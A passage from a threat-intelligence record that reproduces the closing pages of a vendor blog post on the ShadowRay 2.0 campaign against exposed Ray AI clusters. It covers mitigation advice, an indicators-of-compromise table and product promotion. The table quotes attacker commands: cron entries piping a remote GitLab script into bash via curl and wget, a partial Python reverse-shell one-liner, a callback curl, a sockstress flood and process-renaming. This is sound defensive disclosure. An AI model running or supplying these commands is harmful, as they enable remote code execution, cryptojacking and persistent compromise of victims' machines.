has a dangerous\r\ncombination of a lot of exposed infrastructure and the ability to lead to meaningful impact for attackers. \r\nAs organizations race to deploy AI systems, it’s critical to remember that many AI products and services embed or depend\r\non Ray, making it pivotal to ensure it is configured properly across environments. Plus, many AI orchestration tools remain\r\nvulnerable to 0.0.0.0-style misconfigurations that mirror ShadowRay’s exploitation pattern. \r\nThe Risk of Disputed Vulnerabilities\r\nhttps://www.oligo.security/blog/shadowray-2-0-attackers-turn-ai-against-itself-in-global-campaign-that-hijacks-ai-into-self-propagating-botnet\r\nPage 30 of 35\n\nThe ShadowRay case highlights a critical challenge in modern software security: what happens when a vulnerability is\r\ndisputed instead of fixed. When Oligo first disclosed active exploitation of CVE-2023-48022 in 2024, the Ray maintainers\r\nargued that Ray should only ever run in tightly controlled, closed environments, and therefore saw no need to release a\r\npatch. Nearly two years later, attackers are still exploiting the same flaw, in new and increasingly sophisticated campaigns,\r\neven in later Ray versions that are up to date.\r\nDisputed vulnerabilities create a dangerous gray area for defenders because they are not formally patched. As a result,\r\norganizations may unknowingly deploy or run software that remains exploitable in real-world conditions. ShadowRay\r\ndemonstrates how attackers exploit that uncertainty, targeting configurations that weren’t meant to be internet-facing,\r\nchaining legitimate orchestration features, and adapting rapidly with AI-generated payloads.\r\nUnderstanding your environment becomes essential. Knowing not only what open-source components you use, but how they\r\nare configured, exposed, and behaving at runtime, can be the difference between protection and compromise.\r\nMitigation Strategies\r\nFor organizations that run Ray in their environments, below are mitigation and protection recommendations.\r\nLeverage Anyscale’s Ray Open Ports Checker to verify proper configuration of the clusters to avoid accidental\r\nexposure. See Anyscale’s Update on CVE-2023-48022.\r\nFollow the Ray Deployment Best Practices for securing Ray deployments.\r\nStart with running Ray within a secured, trusted environment.\r\nAlways add firewall rules or security groups to prevent unauthorized access.\r\nAdd authorization on top of the Ray Dashboard port (8265 by default).\r\nIf you do need Ray’s dashboard to be accessible, implement a proxy that adds an authorization layer to the\r\nRay API when exposing it over the network.\r\nContinuously monitor your production environments and AI clusters for anomalies, even within Ray.\r\nRay depends on arbitrary code execution to function. Code Scanning and Misconfiguration tools will not\r\nbe able to detect such attacks, because the open-source maintainers of Ray (Anyscale) marked it as disputed\r\nand confirmed it is not a bug - at the time of writing, it is a feature.\r\nDon’t bind on 0.0.0.0 to make your life easy - It is recommended to use an IP of an explicit network\r\ninterface, such as the IP that is in the subnet of your local network or a trusted private VPC/VPN.\r\nDon’t trust the default - Sometimes tools assume you read their docs. Do it.\r\nUse the right tools - The technical burden of securing open source is yours. Don't rely on the maintainers,\r\nthere are tools that can help you protect your production workloads from the risks of using open source at\r\nruntime.\r\nHow to find out if you are compromised\r\nIndicators of Compromise (IoCs)\r\nIOC Type Indicator\r\nIP Address 18.228.3.224\r\nIP Address 45.95.168.100\r\nIP Address 185.215.180.70\r\nIP Address 104.194.151.181\r\nIP Address 121.160.102.68\r\nIP Address 54.154.170.233\r\nIP Address 158.160.123.117\r\nIP Address 193.29.224.83\r\nIP Address 162.248.53.119\r\nhttps://www.oligo.security/blog/shadowray-2-0-attackers-turn-ai-against-itself-in-global-campaign-that-hijacks-ai-into-self-propagating-botnet\r\nPage 31 of 35\n\nIP Address 103.127.134.124\r\nIP Address 18.230.118.147\r\nIP Address 67.217.57.240\r\nIP Address 45.61.150.83\r\nDomain *.oast.fun\r\nSubDomain bwqqvqfgsseplyoltois92rdukv0mm5th.oast.fun\r\nCommand\r\nLine\r\ncurl bwqqvqfgsseplyoltois92rdukv0mm5th.oast.fun\r\nCommand\r\nLine\r\ndisown\r\nDomain pool.supportxmr.com\r\nDomain gulf.moneroocean.stream\r\nMonero\r\nWallet\r\nAddress\r\n45MinZ6ECgTgxn8gbm5gAsK9ATrEN6N95hbH3g4r5N4bKwH8QxuFygw3G7VwHwAusR9L35E4YjWYdTJaWDjbMGDCKYNz5X\r\nZANO\r\nWallet\r\nAddress\r\nKrQtbtsrPTqSTzQwZZisiyJxgtcDMwrdVrQ\r\nMining\r\nPool\r\nAddress\r\neu.zano.k1pool.com\r\nSSH Public\r\nKey\r\nssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHy6WMgqslpdUCaumLmlUcBjBjuAk4KspADxbcAKrzYd root@archtop\r\nGitLab\r\nRepository\r\ngitlab.com/ironern440-group/ironern440-project\r\nGitLab\r\nUser\r\nironern440-group\r\nGitLab\r\nUser\r\nleast3654\r\nGitHub\r\nuser\r\nthisisforwork440-ops\r\nURL https://gitlab.com/ironern440-group/ironern440-project/-/raw/main/mon.sh\r\nURL https://gitlab.com/ironern440-group/ironern440-project/-/raw/main/aa.sh\r\nURL https://gitlab.com/ironern440-group/ironern440-project/-/raw/main/run.sh\r\nURL https://gitlab.com/ironern440-group/ironern440-project/-/raw/main/run-CN.sh\r\nURL https://github.com/xmrig/xmrig/releases/download/v6.16.4/xmrig-6.16.4-linux-static-x64.tar.gz\r\nURL https://github.com/rigelminer/rigel/releases/download/1.22.3/rigel-1.22.3-linux.tar.gz\r\nURL http://45.61.150.83/1mmy/xd.sh\r\nhttps://www.oligo.security/blog/shadowray-2-0-attackers-turn-ai-against-itself-in-global-campaign-that-hijacks-ai-into-self-propagating-botnet\r\nPage 32 of 35\n\nURL http://45.61.150.83/1mmy/cloud\r\nSHA256 6f445252494a0908ab51d526e09134cebc33a199384771acd58c4a87f1ffc063\r\nSHA256 1f6c69403678646a60925dcffe8509d22bb570c611324b93bec9aea72024ef6b\r\nMD5 1f63fa7921c2f5fb8f8ffa430d02ac4a\r\nSHA1 779a8af3b9838a33d1e199da3fc2f02a49e7c13e\r\nURL http://67.217.57.240:666/files/netsh\r\nFilename dns-filter\r\nPath /usr/lib/dev/systemdev/dns-filter\r\nFilename .python3.6\r\nFilename rigel\r\nFilename python3.7.3\r\nFilename netsh\r\nFilename sockstress\r\nPath /tmp/dns\r\nFilename mon.sh\r\nFilename aa.sh\r\nFilename aa_clean.sh\r\nFilename run.sh\r\nFilename run-CN.sh\r\nFilename .ddns.sh\r\nFilename xd.sh\r\nFilename cloud.txt\r\nPath /var/tmp/.ddns.sh\r\nProcess\r\nName\r\nkworker/0:0\r\nProcess\r\nName\r\ndns-filter\r\nProcess\r\nName\r\n[kworker/0:0]\r\nCommand\r\nLine\r\n/usr/lib/dev/systemdev/dns-filter -o [host] --tls\r\nCommand\r\nLine\r\npython -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(([host],[port]));\r\nCommand\r\nLine\r\n./sockstress eth0 -p payloads/http\r\nCommand\r\nLine\r\n/bin/bash /var/tmp/.ddns.sh\r\nCron Entry */15 * * * * wget -O - https://gitlab.com/ironern440-group/ironern440-project/-/raw/main/mon.sh | bash\r\nCron Entry */15 * * * * curl -s https://gitlab.com/ironern440-group/ironern440-project/-/raw/main/mon.sh | bash\r\nPath /etc/init.d/dns-filter\r\nPath ~/.bashrc\r\nhttps://www.oligo.security/blog/shadowray-2-0-attackers-turn-ai-against-itself-in-global-campaign-that-hijacks-ai-into-self-propagating-botnet\r\nPage 33 of 35\n\nTechnique NodeAffinitySchedulingStrategy\r\n/etc/hosts\r\nEntry\r\nBlock entries for rival mining pools\r\niptables\r\nRules\r\niptables -A OUTPUT -p tcp --dport 3333 -j DROP\r\niptables\r\nRules\r\niptables -A OUTPUT -p tcp --dport 5555 -j DROP\r\niptables\r\nRules\r\niptables -A OUTPUT -p tcp --dport 7777 -j DROP\r\nProcess\r\nKilling\r\nTargets: xmrig, minerd, ccminer, crypto-pool, etc.\r\nScript\r\nLogic\r\nChina IP range detection using http://ip-api.com/json/\r\nScript\r\nLogic\r\nrun-CN.sh execution for Chinese IPs payloads\r\nResource\r\nAllocation\r\n60% CPU/GPU allocation to hide activity\r\nProcess\r\nRenaming\r\necho \"kworker/0:0\" \u003e /proc/$$/comm\r\nIf you have any questions and need help assessing your environment, you can schedule a threat briefing with our research\r\nteam by reaching out to info@oligosecurity.io.\r\nHow Oligo Protects Against Exploits of the ShadowRay Vulnerability\r\nShadowRay 2.0 underscores how quickly and broadly a flaw, coupled with misconfigurations, can escalate into easily\r\npropagated compromise – and also why runtime context is the source of truth that security teams need. With Oligo, teams\r\ngain deterministic proof of exploitability, real-time detection of malicious behavior, and automatic correlation across every\r\nstep of the modern attack chain. Instead of drowning in theoretical alerts or reacting after the fact, security teams can\r\nconfidently identify and prevent threats like this the moment they emerge.\r\nSee below for examples of how Oligo’s runtime security platform can detect and prevent techniques like those used in the\r\nShadowRay 2.0 campaign. \r\nAbove, you can see Oligo’s ability to identify a suspicious process initiating a reverse shell to malicious\r\ndomain and spawning a cryptominer – combining CWPP-grade visibility with function-level context so that\r\nthe exploit is captured in real time. \r\nhttps://www.oligo.security/blog/shadowray-2-0-attackers-turn-ai-against-itself-in-global-campaign-that-hijacks-ai-into-self-propagating-botnet\r\nPage 34 of 35\n\nThis figure shows how an Oligo user can drill directly into the malicious payload, tracing the reverse shell\r\nexecution flow inside Python through decision-tree logic the attacker abused.\r\nThis highlights Oligo’s runtime detection of stack deviation inside of Ray, where an unexpected syscall leads\r\nto unauthorized process creation. By correlating this anomaly with the reverse shell activity and cryptominer\r\nexecution, Oligo automatically generates a high-fidelity incident – providing proof of the exploit and full\r\nattack chain in a single, explainable view.\r\nBook A Demo\r\nIf you’re interested in learning how Oligo’s runtime security platform unifies real-time protection across applications, cloud,\r\nworkloads, and AI systems, set some time to connect here.\r\nStop modern attacks and keep your business moving\r\nSource: https://www.oligo.security/blog/shadowray-2-0-attackers-turn-ai-against-itself-in-global-campaign-that-hijacks-ai-into-self-propagating-botnet\r\nhttps://www.oligo.security/blog/shadowray-2-0-attackers-turn-ai-against-itself-in-global-campaign-that-hijacks-ai-into-self-propagating-botnet\r\nPage 35 of 35",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"MISPGALAXY",
		"Malpedia"
	],
	"references": [
		"https://www.oligo.security/blog/shadowray-2-0-attackers-turn-ai-against-itself-in-global-campaign-that-hijacks-ai-into-self-propagating-botnet"
	],
	"report_names": [
		"shadowray-2-0-attackers-turn-ai-against-itself-in-global-campaign-that-hijacks-ai-into-self-propagating-botnet"
	],
	"threat_actors": [
		{
			"id": "eb3f4e4d-2573-494d-9739-1be5141cf7b2",
			"created_at": "2022-10-25T16:07:24.471018Z",
			"updated_at": "2026-04-10T02:00:05.002374Z",
			"deleted_at": null,
			"main_name": "Cron",
			"aliases": [],
			"source_name": "ETDA:Cron",
			"tools": [
				"Catelites",
				"Catelites Bot",
				"CronBot",
				"TinyZBot"
			],
			"source_id": "ETDA",
			"reports": null
		},
		{
			"id": "00476eef-7c98-4ca9-83e2-5c2a23804589",
			"created_at": "2026-02-11T02:00:03.930164Z",
			"updated_at": "2026-04-10T02:00:03.966109Z",
			"deleted_at": null,
			"main_name": "IronErn440",
			"aliases": [],
			"source_name": "MISPGALAXY:IronErn440",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		}
	],
	"ts_created_at": 1775434580,
	"ts_updated_at": 1775791928,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/3c4b7952f8aec4f509225d163896cdd345a4fe66.pdf",
		"text": "https://archive.orkl.eu/3c4b7952f8aec4f509225d163896cdd345a4fe66.txt",
		"img": "https://archive.orkl.eu/3c4b7952f8aec4f509225d163896cdd345a4fe66.jpg"
	}
}